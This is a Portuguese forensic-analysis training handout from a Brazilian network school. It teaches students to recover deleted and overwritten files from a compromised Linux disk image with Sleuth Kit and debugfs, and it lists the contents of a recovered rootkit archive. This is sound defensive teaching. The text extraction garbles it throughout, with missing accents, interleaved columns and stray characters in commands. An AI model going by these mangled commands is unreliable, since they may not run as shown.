# find /mnt/image/ -anewer /mnt/image/dev/hdx1 -ls | less
cutou a ferramenta infectada estava com permisso
de super usurio no momento.
Lembra o que o comando acima faz?
O comando acima procura pelos arquivos modifica-
Anote os arquivos de interesse e inclua-os na lista de
evidncias. dos ou acessados aps a criao desse arquivo,
e a listagem contm diversos arquivos instalados
pelo hacker, ferramentas utilizadas em ataque,
modificaes em arquivos do sistema, entre outras
informaes importantes.

Concluses Concluses

Vimos nesta sesso o que so evidncias e como Na prxima sesso veremos as ferramentas e tcni-
trat-las e armazen-las de maneira a garantir a cas para recuperao completa ou parcial de evidn-
integridade e a cadeia de custdia das mesmas. cias removidas do disco.
Aprendemos a encontrar evidncias utilizando
ferramentas bsicas disponveis em qualquer
distribuio Linux. Veremos tambm algumas tcnicas para anlise de
Ainda existem muitas evidncias presentes na arquivos suspeitos encontrados. Apesar desta ser a
imagem analisada nesta sesso. A anlise forense
parte mais demorada do processo, veremos que as
um processo cclico, demorado e sujeito a erros.
importante tentar correlacionar evidncias para tcnicas so simples e de fcil execuo.
garantir a validade das informaes coletadas.

Coleta de evidncias
82
Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 4


4
Sesso de aprendizagem 4
Coleta de evidncias
Roteiro de atividades

Tpicos e conceitos

\\A anlise forense de mdias tem o objetivo de recuperar evidncias que


comprovem a invaso do computador analisado.

Competncias tcnicas desenvolvidas

\\Coletar evidncias de um sistema comprometido.

Outras competncias desenvolvidas

\\Capacidade de investigao e pesquisa do aluno.

Tempo previsto para as atividades

\\90-110 minutos
84
Escola Superior de Redes RNP

Atividade 1 Coletando evidncias

1. Juntamente com um colega, utilize as tcnicas aprendidas para procurar por


mais evidncias no disco. Veja quais evidncias consegue encontrar alm
das que j foram vistas. Use como base os comandos estudados durante a
sesso, para encontrar evidncias alm das comentadas no texto.

2. Crie fichas de evidncia para os arquivos de log encontrados. Procure


pelos outros arquivos comentados no texto terico e que no foram
encontrados. Crie as respectivas fichas de identificao, e tambm as
fichas de identificao para os arquivos encontrados no exerccio
anterior.

Anlise forense Sesso de aprendizagem 4


5
Sesso de aprendizagem 5
Recuperao e anlise de evidncias

Sumrio da sesso

Recuperao e anlise de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86

Estrutura do sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86

Recuperao de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88

Recuperao de arquivos sobrescritos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89

Recuperao de arquivos journaling. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91

Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97

Atividade 1 Rastreando eventos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98

Atividade 2 Buscando ferramentas na internet. . . . . . . . . . . . . . . . . . . . . . . . 98


86
Escola Superior de Redes RNP

Recuperao e anlise de evidncias


Recuperao e anlise de evidncias

As tcnicas e ferramentas que veremos a seguir se


O processo de procurar evidncias cclico, e o
analista deve continuar procurando enquanto aplicam a praticamente qualquer sistema de arquivos
necessitar de evidncias para comprovar a invaso e Unix e Windows que no utilizem journaling. Neste
encontrar o responsvel.
caso, precisamos utilizar uma ferramenta especfica
As ferramentas vistas at agora so teis apenas para
procurar arquivos que ainda estejam disponveis no para cada caso. Nesta sesso estudaremos como
sistema de arquivos. recuperar arquivos em um sistema Ext3 (third extended
O que fazer, ento, quando os arquivos foram file system), o padro de sistema de arquivos do Linux.
apagados?

Um invasor costuma apagar seus rastros quando


percebe que est sendo monitorado ou correndo o
risco de ser encontrado

Recuperao e anlise de evidncias A principal dificuldade para recuperar arquivos


apagados o fato de que os dados podem ter sido
Invasores costumam apagar seus rastros quando sobrescritos. Alm disso, as verses mais novas de
percebem que esto sendo monitorados. alguns sistemas operacionais utilizam um tipo de sis-
necessrio utilizar ferramentas para recuperar tema de arquivos conhecido como journaling file sys-
arquivos apagados. tems. Estes sistemas de arquivo tm um registro de
A principal dificuldade para recuperar arquivos
apagados o fato de que os dados podem ter sido
todas as atividades realizadas no disco, permitindo
sobrescritos. uma recuperao mais rpida e segura em caso de
Verses mais novas de alguns sistemas operacionais parada no intencional do sistema.
utilizam journaling file systems.
Estes sistemas de arquivo tm um registro de todas
Um exemplo de sistema de arquivos com journaling
as atividades realizadas no disco.
utilizado pelo Linux o Ext3.

Estrutura do sistema de arquivos


Estrutura do sistema de arquivos

O sistema de arquivos do Linux conhecido como


O sistema de arquivos do Linux conhecido como
Extended Filesystem (Ext) Extended Filesystem (Ext).
Existem dois padres: Ext2 e Ext3
A principal estrutura do Ext2 chamada de Existem dois padres:
superblock
O bloco de disco a menor estrutura de \\Ext2, utilizado em verses mais antigas do kernel;
armazenamento no sistema de arquivos, utilizado para
armazenar o contedo dos arquivos \\Ext3, um sistema de arquivos com journaling e
O inode a estrutura que armazena as informaes estrutura compatvel com o Ext2.
sobre cada arquivo

A principal estrutura do Ext2 chamada de superblock.


Ela armazena as informaes sobre as caractersticas
do sistema de arquivos e as informaes sobre posi-
es (livres e ocupadas) do disco.

O bloco de disco a menor estrutura de armazenamento no sistema de arquivos.


Ele utilizado para armazenar o contedo dos arquivos.

Anlise forense Sesso de aprendizagem 5


87

Arquivos menores que o tamanho do bloco de disco desperdiam o restante do


bloco. O inode a estrutura que armazena as informaes sobre cada arquivo.

Podemos ver na figura que quando o tamanho de um


Estrutura do sistema de arquivos
arquivo no cabe no limite mximo de blocos que
podem ser endereados diretamente (12 blocos), um
Cada inode armazena diversas informaes sobre um
arquivo: destes blocos utilizado para enderear indireta-
Identificao do proprietrio do arquivo mente outros blocos.
Tipo de arquivo (regular, diretrio, dispositivos etc)
Permisses de acesso Este processo pode ser repetido para blocos dupla-
Nmero de hard links mente e triplamente endereados, permitindo arqui-
Tamanho do arquivo
vos com tamanhos considerveis.
Tempos de acesso/modificao/status do arquivo
Tabela de contedo (endereos dos blocos que
armazenam os dados do arquivo)

Estrutura do sistema de arquivos

Ao apagar um arquivo em um sistema com Ext2, o


sistema realiza as seguintes funes:
O inode alocado ao arquivo marcado como livre;
Este inode colocado na lista de inodes livres do superblock
O nmero de inodes livres incrementado no superblock
Os blocos de disco utilizados pelo arquivo so recolocados na
lista de blocos livres
O nmero de blocos livres incrementado no superblock
Em nenhum momento, o contedo dos blocos ou do
inode apagado, o que permite a recuperao de
arquivos apagados

Recuperao e anlise de evidncias


88
Escola Superior de Redes RNP

O journaling um registro das atividades do sistema


Estrutura do sistema de arquivos
de arquivos. O sistema operacional grava esse
Ext3 um sistema de arquivos com journaling, que mantm registro antes de gravar o dado no disco, para que
um registro de todas as operaes de leitura e escrita em seja possvel recuperar a estrutura do sistema de
disco .
O problema do Ext3 que o sistema trata de forma diferente arquivos caso ocorra uma falha grave durante uma
o processo de apagamento de um arquivo: operao de escrita. Com esse registro, o sistema
Blocos de disco agrupados em blocos.
As tabelas de inodes tambm so associadas a estes grupos de pode recuperar um estado anterior do disco, fixando
blocos, e os inodes nestas tabelas so localizados sempre dentro do
mesmo grupo.
qualquer problema causado pela falha.
Quando um arquivo criado, o sistema operacional aloca um inode e
blocos para este arquivo dentro do mesmo grupo de blocos do
diretrio pai. Alm dessa caracterstica, o Ext3 tambm precisou
Ao apagar um arquivo em um sistema Ext3, o kernel do Linux zera o modificar o processo de remoo de um arquivo,
tamanho do arquivo e o endereo da lista de blocos no inode.
para garantir a integridade dos dados. Por isso, ao
remover um arquivo, os endereos de bloco e o
tamanho do arquivo so zerados no inode.

Recuperao de arquivos
Recuperao de arquivos

Vemos aqui informaes importantes sobre o sis-


Para recuperar arquivos, precisamos descobrir em
qual inode o arquivo procurado estava armazenado tema de arquivos, como o tamanho do bloco de
Se no for possvel descobrir o inode, talvez dados e informaes sobre a disponibilidade de
possamos recuperar apenas parte do arquivo inodes e blocos de dados. O primeiro passo des-
Podemos utilizar ferramentas para analisar o disco e cobrir informaes sobre o sistema de arquivos:
encontrar as informaes necessrias sobre os
arquivos apagados # fsstat -f linux-ext2 /data/compromised/compromise
Em ltimo caso, podemos utilizar ferramentas como d_hda1.img8
grep e strings para descobrir onde a informao FILE SYSTEM INFORMATION
procurada est armazenada
--------------------------------------------
File System Type: Ext2
Volume Name: /
Volume ID: 45ba545b90872295d7113db68ac3de0b
Last Written at: Wed Jan 16 21:06:57 2008
Last Checked at: Mon Jul 14 14:52:13 2003
Last Mounted at: Wed Jan 16 21:05:40 2008

METADATA INFORMATION
--------------------------------------------
Inode Range: 1 - 117760
Root Directory: 2
Free Inodes: 87861
CONTENT INFORMATION
--------------------------------------------
Block Range: 0 - 235515
Block Size: 4096
Free Blocks: 155704

Anlise forense Sesso de aprendizagem 5


89

O primeiro comando lista todos os arquivos da ima-


Recuperao de arquivos
gem que foram removidos. Dessa forma podemos
encontrar o inode do arquivo que nos interessa.
Para recuperar um arquivo que no tenha sido
sobrescrito, o procedimento o seguinte:
Encontre o inode onde o arquivo estava armazenado: Com o inode, podemos utilizar o istat para descobrir
fls adpr /data/compromised/compromised_hda1.img os blocos onde este arquivo est armazenado. E
Descubra mais informaes sobre o arquivo:
com o ffind, descobrir o nome original do arquivo,
istat /data/compromised/compromised_hda1.img 47147
Encontre o nome original do arquivo: caso ele tenha sido realocado.
ffind -a /data/compromised/compromised_hda1.img 47147
Recupere o arquivo armazenado no inode encontrado: Finalmente, com o icat podemos recuperar completa-
icat /data/compromised/compromised_hda1.img 47147 >
/data/compromised/s.tgz mente o arquivo original.

Recuperao de arquivos sobrescritos


Recuperao de arquivos sobrescritos

Caso o arquivo tenha sido sobrescrito parcialmente, o


Para recuperar arquivos que tenham sido
sobrescritos, o procedimento diferente: processo um pouco diferente.
Para facilitar, precisamos extrair do disco todos os
blocos no alocados para nenhum arquivo: Primeiramente, precisamos diminuir a regio onde
# dls f linux-ext2
/data/compromised/compromised_hda1.img > vamos procurar pelas partes do arquivo. Como ele
/data/compromised/compromised_hda1.img.dls 
foi removido, sensato pensar que o arquivo est
Descubra em que posio no arquivo est localizada a
informao que procura: armazenado nos blocos no alocados do disco.
# grep ab "rm -rf" Fazemos isso com o comando dls, que extrai o
/data/compromised/compromised_hda1.img.dls 
espao no alocado da imagem original.

A seguir, procuramos o contedo que nos interessa,


como vimos na sesso 3.

Recuperao de arquivos sobrescritos


Descobrindo a posio na imagem de dados desalo-
cados, utilizamos o dcalc para encontrar a posio
Agora, descubra onde essa informao est localizada
no disco original: na imagem original.
# echo $((66511837/4096)) 
16238
# dcalc u 16238 /data/compromised/compromised_hda1.img  Se o ifind no encontrar nenhum inode apontando para
39342
este bloco de disco, precisamos recuperar bloco a
Caso o bloco no esteja alocado por nenhum inode,
recupere os blocos de dados que conseguir: bloco at conseguir toda informao possvel do
# ifind a d 39342 arquivo.
/data/compromised/compromised_hda1.img 
Inode not found

Recuperao e anlise de evidncias


90
Escola Superior de Redes RNP

Em alguns casos, possvel identificar o tipo do


Recuperao de arquivos sobrescritos
arquivo, e baseado na assinatura do arquivo, encon-
Ao examinar o contedo do bloco, vemos que ele parte de um trar o incio e o fim do mesmo. No nosso caso, des-
arquivo TAR. Para tentar recuperar este arquivo, podemos cobrimos um arquivo TAR.
recuperar bloco por bloco do disco at montar o arquivo completo.
Primeiro, vamos analisar diversos blocos ao redor do bloco que
achamos, para descobrir onde o arquivo termina: Realizando uma procura nos blocos adjacentes ao
# dcat -f linux-ext2
/data/compromised/compromised_hda1.img 39341 1000 bloco que achamos anteriormente, podemos encontrar
Procuramos por um texto que esteja prximo do fim do arquivo: o fim do arquivo, como fizemos no primeiro e segundo
# grep -ab './udhss -f ./s'
/data/compromised/compromised_hda1.img.dls exemplos. Ao encontrar o bloco que armazena o fim do
arquivo, como j temos o bloco que armazena o incio
do arquivo, podemos recuperar os blocos do arquivo
completamente. Finalmente, com o comando dcat,
recuperamos os blocos de que precisamos.

Aqui vale lembrar de uma coisa. Normalmente, o


Recuperao de arquivos sobrescritos
sistema operacional tenta alocar blocos consecutivos
para um arquivo. Por isso possvel recuperar um
Encontramos o bloco de disco que armazena esta
informao e o nmero de blocos que devemos arquivo ao recuperar os blocos da forma como fizemos.
recuperar: Caso o arquivo esteja armazenado em blocos no
# dcalc -u 16839
/data/compromised/compromised_hda1.img  consecutivos, talvez no seja possvel recuperar o
# echo $((39943-39341)) 
arquivo completo.
602
Finalmente, recuperamos os blocos do arquivo:
# dcat -f linux-ext2 Como vimos, possvel recuperar o arquivo quase
/data/compromised/compromised_hda1.img 39341 
602 > /data/compromised/recovered.tar totalmente:

# tar tvf /data/compromised/recovered.tar8


tar: This does not look like a tar archive
tar: Skipping to next header
-rwxr-xr-x hack3r/hack3r 190 2001-04-15 14:56:20 ro
otkit/scan/.. /xdr
Recuperao de arquivos sobrescritos -rwxr-xr-x hack3r/hack3r 840 2001-04-15 14:55:58 ro
otkit/scan/.. /rdx
# tar tvf /data/compromised/recovered.tar -rw-r--r-- hack3r/hack3r 7108 2000-04-08 18:38:47 ro
tar: This does not look like a tar archive otkit/scan/.. /cl.sh
tar: Skipping to next header
-rwxr-xr-x hack3r/hack3r 190 2001-04-15 14:56:20 rootkit/scan/.. /xdr
...
-rwxr-xr-x hack3r/hack3r 840 2001-04-15 14:55:58 rootkit/scan/.. /rdx -rw------- hack3r/hack3r 307200 2001-08-03 09:41:20
-rw-r--r-- hack3r/hack3r 7108 2000-04-08 18:38:47 rootkit/scan/.. /cl.sh rootkit/core
...
-rw------- hack3r/hack3r 307200 2001-08-03 09:41:20 rootkit/core ...
...
-rw-r--r-- hack3r/hack3r 64 2001-11-24 10:34:07 roo
-rw-r--r-- hack3r/hack3r 64 2001-11-24 10:34:07 rootkit/ess-0.8.6/install
-rwxr-xr-x hack3r/hack3r 624753 2001-11-24 10:17:54 rootkit/udhss
tkit/ess-0.8.6/install
tar: Skipping to next header -rwxr-xr-x hack3r/hack3r 624753 2001-11-24 10:17:54
-rwxr-xr-x hack3r/hack3r 158 2001-11-24 16:59:35 rootkit/rula rootkit/udhss
tar: Error exit delayed from previous errors
tar: Skipping to next header
-rwxr-xr-x hack3r/hack3r 158 2001-11-24 16:59:35 ro
otkit/rula
tar: Error exit delayed from previous errors

Um arquivo TAR pode conter informaes importantes sobre quem o criou. Neste caso,
vemos o username e o grupo do usurio que criou o arquivo TAR. Alm disso, observa-
mos que o arquivo TAR contm um arquivo chamado core. Conforme examinaremos na
prxima sesso, esse arquivo pode conter informaes valiosas sobre o invasor.

Verificamos ainda na sada do comando que o arquivo foi recuperado quase total-
mente, apenas com alguns erros que foram mostrados pelo comando.

Anlise forense Sesso de aprendizagem 5


91

Recuperao de arquivos journaling


Recuperao de arquivos journaling

Vimos tcnicas para recuperar arquivos em sistemas


No Ext3, o processo para recuperar arquivos mais
difcil e muitas vezes no podemos recuperar Ext2; apesar de algumas vezes ser demorado, o
totalmente o arquivo: processo no complexo.
A lista de blocos que apontam para o contedo dos
arquivos zerada quando o arquivo removido.
No Ext3, o processo para recuperar arquivos
Vamos conhecer uma tcnica para recuperar um
arquivo em um sistema de arquivos Ext3. mais difcil e muitas vezes no podemos recuperar
Para isso, vamos utilizar as informaes gravadas no totalmente o arquivo, porque a lista de blocos que
journaling do sistema de arquivos para recuperar as apontam para o contedo dos arquivos zerada
informaes que foram apagadas do inode original.
quando o arquivo removido. Isto faz com que no
seja mais possvel acessar o contedo do arquivo a
partir das informaes presentes no inode.

Vamos conhecer uma tcnica para recuperar um arquivo em um sistema de arquivos


Ext3. Para isso, vamos utilizar as informaes gravadas no journaling do sistema de
arquivos para recuperar as informaes que foram apagadas do inode original.

Quando feita qualquer atualizao no sistema de arqui-


Recuperao de arquivos journaling
vos, o journaling guarda uma cpia completa do inode
modificado no journal, o que nos permite recuperar a
Quando feita qualquer atualizao no sistema de
arquivos, o journaling guarda uma cpia completa do informao original que existia em um inode, bastando
inode modificado no journal recuperar a cpia do inode armazenada no journal.
Como no queremos prejudicar nenhuma evidncia na
imagem que estamos utilizando, vamos realizar os
exerccios a seguir no disco da mquina virtual de Como no queremos prejudicar nenhuma evidncia
nossa estao forense na imagem que estamos utilizando, vamos realizar
Para isso, vamos criar um arquivo, apag-lo do disco, os exerccios a seguir no disco da mquina virtual
e tentar recuper-lo utilizando as informaes do de nossa estao forense. Para isso, vamos criar
journal
um arquivo, apag-lo do disco, e tentar recuper-lo
utilizando as informaes do journal.

Ateno: como este exerccio vai ser feito no disco


Recuperao de arquivos journaling que o aluno est utilizando para realizar todos os
exerccios, possivelmente os valores de inode e
Criar o arquivo de exemplo e coletar informaes: blocos estaro diferentes dos que o aluno encon-
# gzip -9 -c /data/compromised/compressed.files > /data/compromised/test.gz
# ls -li /data/compromised/test.gz
trar em sua mquina. Basta que o aluno adapte os
valores de inodes e blocos de dados mostrados aqui
937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 /data/compromised/test.gz
# istat /dev/sda5 937288
inode: 937288
Allocated para os encontrados em sua mquina.
Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r--
size: 5252
Inicialmente, vamos criar o arquivo que usaremos
como exemplo, e coletar algumas informaes sobre
num of links: 1
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:06:13 2008 o mesmo antes de apagar, para compar-las depois:
Inode Modified: Thu Jan 17 12:06:13 2008
Direct Blocks:
262651 262652
# gzip -9 -c /data/compromised/compressed.files > /d
ata/compromised/test.gz8

# ls -li /data/compromised/test.gz8
937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 /
data/compromised/test.gz

# istat /dev/sda5 9372888

Recuperao e anlise de evidncias


92
Escola Superior de Redes RNP

inode: 937288
Allocated
Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r--
size: 5252
num of links: 1
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:06:13 2008
Inode Modified: Thu Jan 17 12:06:13 2008
Direct Blocks:
262651 262652

Aqui apenas criamos o arquivo que usaremos como exemplo, e mostramos com ls
li e istat algumas informaes sobre o arquivo e o inode onde ele est armaze-
nado, para compararmos posteriormente com o resultado obtido.

Finalmente com o istat descobrimos mais dados


Recuperao de arquivos journaling
sobre o inode, tal como as datas de modificao
Com istat descobrimos as datas de modificao e criao e os blocos onde e criao, alm dos blocos onde o arquivo est
o arquivo est armazenado:
armazenado:
# rm -f /data/compromised/test.gz
# ls -li /data/compromised/*.gz
ls: /data/compromised/*.gz: No such file or directory
# istat /dev/sda5 937288
# rm -f /data/compromised/test.gz8
inode: 937288
Not Allocated
Group: 58 # ls -li /data/compromised/*.gz8
Generation Id: 1159893987
uid / gid: 0 / 0 ls: /data/compromised/*.gz: No such file or directory
mode: -rw-r--r--
size: 0
num of links: 0 # istat /dev/sda5 9372888
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:09:54 2008
inode: 937288
Inode Modified: Thu Jan 17 12:09:54 2008
Deleted: Thu Jan 17 12:09:54 2008
Not Allocated
Direct Blocks: Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r--
size: 0
num of links: 0
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:09:54 2008
Inode Modified: Thu Jan 17 12:09:54 2008
Deleted: Thu Jan 17 12:09:54 2008
Direct Blocks:

Removemos o arquivo e listamos informaes do inode, mostrando que este no


est mais alocado, e que no temos mais o tamanho e a lista de blocos onde
o arquivo foi armazenado. Alm disso, temos uma nova informao: a data de
remoo do arquivo.

Anlise forense Sesso de aprendizagem 5


93

Quando precisamos recuperar uma evidncia do


Recuperao de arquivos journaling
disco, podemos utilizar as informaes presentes no
Utilizar as informaes presentes no journal do journal do sistema de arquivos para tentar recuperar
sistema de arquivos para tentar recuperar a lista de a lista de blocos original do inode.
blocos original do inode.
Quando o arquivo foi removido, uma cpia do inode
Lembre-se: ao remover o arquivo, uma cpia do inode
original foi copiada para o journal antes que as
informaes fossem zeradas. original foi copiada para o journal antes que as infor-
Se conseguirmos recuperar essa informao, maes fossem zeradas. Se conseguirmos recuperar
poderemos recuperar o arquivo original. essa informao, poderemos recuperar o arquivo origi-
Ferramenta debugfs permite acessar o sistema de
nal. Para realizar essa operao, vamos conhecer uma
arquivos diretamente.
nova ferramenta, chamada debugfs. Esta ferramenta,
presente em praticamente qualquer distribuio Linux,
permite acessar diretamente o sistema de arquivos.

O debugfs funciona tanto com o Ext2 quanto com o Ext3 e tem a capacidade de
acessar as informaes do journal do sistema de arquivos. uma ferramenta
presente no pacote E2fsprogs, que normalmente instalado com qualquer distri-
buio Linux, ou seja, est presente em praticamente qualquer Linux. Entretanto,
s pode ser utilizado para Ext2 ou Ext3. Existem outras verses para sistemas
especficos, como o debugfs-reiser4 para ReiserFS.

Vamos utilizar o debugfs, pois ele tem a capacidade de listar as informaes pre-
sentes no journal do sistema de arquivos.

# debugfs /dev/sda58
Recuperao de arquivos journaling
debugfs 1.39-WIP (10-Dec-2005)
# debugfs /dev/sda5
debugfs: logdump -i <937288>
debugfs 1.39-WIP (10-Dec-2005)
debugfs: logdump -i <937288>
Inode 937288 is at group 58, block 1900546, offset 896
Inode 937288 is at group 58, block 1900546, offset 896
Journal starts at block 1, transaction 116 Journal starts at block 1, transaction 116

FS block 1900546 logged at sequence 1143, journal block 6560
(inode block for inode 937288):
Inode: 937288
User: 0
Type: regular
Group: 0
Mode: 0644
Size: 5252
Flags: 0x0 Generation: 1159893987
FS block 1900546 logged at sequence 1143, journal
block 6560
ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
(inode block for inode 937288):
Blocks: (0+2): 262651
FS block 1900546 logged at sequence 1145, journal block 6570 Inode: 937288 Type: regular Mode: 0644 Flags: 0x0
(inode block for inode 937288):
Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 Generation: 1159893987
Generation: 1159893987

User: 0 Group: 0 Size: 0
User: 0 Group: 0 Size: 5252
ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
Blocks:
No magic number at block 6578: end of journal.
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
Blocks: (0+2): 262651
FS block 1900546 logged at sequence 1145, journal
block 6570
(inode block for inode 937288):
Inode: 937288 Type: regular Mode: 0644 Flags:
0x0 Generation: 1159893987
User: 0 Group: 0 Size: 0

ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
Blocks:
No magic number at block 6578: end of journal.

Recuperao e anlise de evidncias


94
Escola Superior de Redes RNP

Vemos aqui a execuo do comando. O debugfs abre um prompt onde podemos


digitar comandos para acessar diretamente o dispositivo analisado.

importante notar que a sada do comando logdump -i pode ser bem longa,
dependendo da atividade do inode pesquisado. O importante procurar a infor-
mao mais prxima do timestamp encontrado no inode do arquivo visto anterior-
mente com o comando istat.

No nosso caso, vemos dois registros importantes: o ltimo o registro do arquivo


removido; podemos verificar na cpia do inode que ele contm a data de remoo
igual a que vimos anteriormente.

O penltimo registro uma cpia do inode original do arquivo, com o tamanho e a


lista de blocos onde o arquivo foi armazenado. Caso existissem blocos endereados
indiretamente, o processo ficaria mais complicado, mas seguiria o mesmo padro.

Com a lista de blocos, podemos recuperar o contedo do arquivo.

Como agora temos a informao que queremos,


Recuperao de arquivos journaling
basta utilizar os comandos que vimos anteriormente
Utilizar comandos para recuperar os blocos de dados: para recuperar os blocos de dados:

# dcat /dev/sda5 262651 2 > /tmp/recover.gz # dcat /dev/sda5 262651 2 > /tmp/recover.gz8
# file /tmp/recover.gz
/tmp/recover.gz: gzip compressed data, was
# file /tmp/recover.gz8
"compressed.files", from Unix, max compression /tmp/recover.gz: gzip compressed data, was compres
# ls -l /tmp/recover.gz sed.files, from Unix, max compression
-rw-r--r-- 1 root root 8192 Jan 17 12:26
/tmp/recover.gz # ls -l /tmp/recover.gz8
-rw-r--r-- 1 root root 8192 Jan 17 12:26 /tmp/recov
er.gz

Aqui vemos como recuperar o contedo do arquivo,


e como utilizar o dd para separar os bytes que pre-
cisamos dos dados lidos pelo dcat. Isto feito porque o dcat l somente blocos
inteiros, no nosso caso com 4096 bytes. Como podemos ler dois blocos e nosso
arquivo s deveria ter 5252 bytes, h um espao extra no fim do segundo bloco
que precisamos retirar, o que pode ser feito com o comando dd.

Anlise forense Sesso de aprendizagem 5


95

Observe que o arquivo recuperado contm 8192


Recuperao de arquivos journaling
bytes, em vez de 5252 bytes, que o tamanho do
arquivo original. Isto acontece pois o dcat apenas
O arquivo recuperado contm 8192 bytes e no o
tamanho original de 5252 bytes copia blocos inteiros. Como sabemos o tamanho
O arquivo original pode ser recuperado com dd: original do arquivo, podemos recuperar o arquivo
# dd if=/tmp/recover.gz of=/tmp/test_recovered.gz bs=1
count=5252 original utilizando o comando dd:
5252+0 records in
5252+0 records out
# dd if=/tmp/recover.gz of=/tmp/test_recovered.gz b
5252 bytes (5.3 kB) copied, 0.034853 seconds, 151 kB/s
s=1 count=52528
# gzip -l -t /tmp/test_recovered.gz
compressed uncompressed ratio uncompressed_name 5252+0 records in
5252 18067 71.1% /tmp/test_recovered
5252+0 records out
5252 bytes (5.3 kB) copied, 0.034853 seconds, 151 k
B/s

# gzip -l -t /tmp/test_recovered.gz8
compressed uncompressed ratio uncompressed_name
5252 18067 71.1% /tmp/test_recovered

Concluses
Concluses

Algumas vezes no possvel encontrar no disco as


evidncias necessrias para comprovar o caso de
invaso
As evidncias podem ter sido apagadas ou
sobrescritas
Mesmo assim, existem ferramentas para recuperar
estes dados
Aprendemos tambm um pouco mais sobre a
estrutura dos sistemas de arquivos do Linux, e
tambm como recuperar arquivos em um sistema com
journaling como o Ext3

Recuperao e anlise de evidncias


96
Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 5


5
Sesso de aprendizagem 5
Recuperao e anlise de evidncias
Roteiro de atividades

Tpicos e conceitos

\\Procurar por evidncias no sistema de arquivos e ferramentas necessrias na


internet.

Competncias tcnicas desenvolvidas

\\Identificaros eventos de um sistema comprometido e buscar as ferramentas


necessrias para a investigao.

Outras competncias desenvolvidas

\\Capacidade de investigao e pesquisa do aluno.

Tempo previsto para as atividades

\\90-120 minutos
98
Escola Superior de Redes RNP

Atividade 1 Rastreando eventos

1. Um dos objetivos da anlise forense tentar descobrir quando foram


realizadas aes na mquina invadida. No sistema que usamos como
exemplo, os arquivos de log foram removidos, dificultando a identificao
de informaes sobre a invaso. Utilizando as ferramentas do pacote
forense, tente recuperar todos os arquivos apagados do diretrio /var/log
da mquina comprometida. Depois, faa um breve relatrio sobre o
contedo de cada arquivo. Voc saberia dizer por que alguns deles no
se parecem com arquivos de log? A atividade deve ser feita em dupla.

2. Mesmo conseguindo recuperar alguns arquivos de log no exerccio


anterior, ainda existem informaes importantes que no foram
recuperadas. No disco ainda existem partes dos arquivos de log de e-mail
e do servidor web. Juntamente com um colega, procure na internet
informaes sobre o formato desses logs, e utilize-as para procurar em
disco por partes importantes destes logs. Utilize para isso os comandos
grep, strings e dcat. A pesquisa deve ser feita em dupla.

3. Crie fichas de identificao para as evidncias encontradas nos dois


exerccios anteriores, conforme mostrado na sesso anterior. Para os
arquivos que no foram recuperados totalmente, a evidncia que deve ser
cadastrada so os inodes onde foram encontrados.

Atividade 2 Buscando ferramentas na internet

1. Como vimos durante a sesso, arquivos apagados em uma partio Ext3


so difceis de recuperar. Muitas vezes, realizar o servio manualmente
no vivel. Procure na internet por ferramentas que realizem a
recuperao de arquivos em sistemas Ext3, e faa um breve relatrio
sobre as caractersticas de cada ferramenta.

Anlise forense Sesso de aprendizagem 5


6
Sesso de aprendizagem 6
Recuperao e anlise de evidncias
(parte 2)
Sumrio da sesso

Recuperao e anlise de evidncias. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100

Anlise de executveis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100

Anlise do cdigo. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104

Anlise de core dump. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107

Slack space. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108

Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113

Atividade 1 Anlise do contedo do arquivo. . . . . . . . . . . . . . . . . . . . . . . . . 114

Atividade 2 Busca de ferramentas na internet . . . . . . . . . . . . . . . . . . . . . . . 114


100
Escola Superior de Redes RNP

Recuperao e anlise de evidncias


Recuperao e anlise de evidncias

Arquivos, partes de logs, timestamps ou ferramentas Durante a investigao comum encontrar arquivos,
podem comprovar atividades realizadas pelo invasor. partes de logs, timestamps ou ferramentas que com-
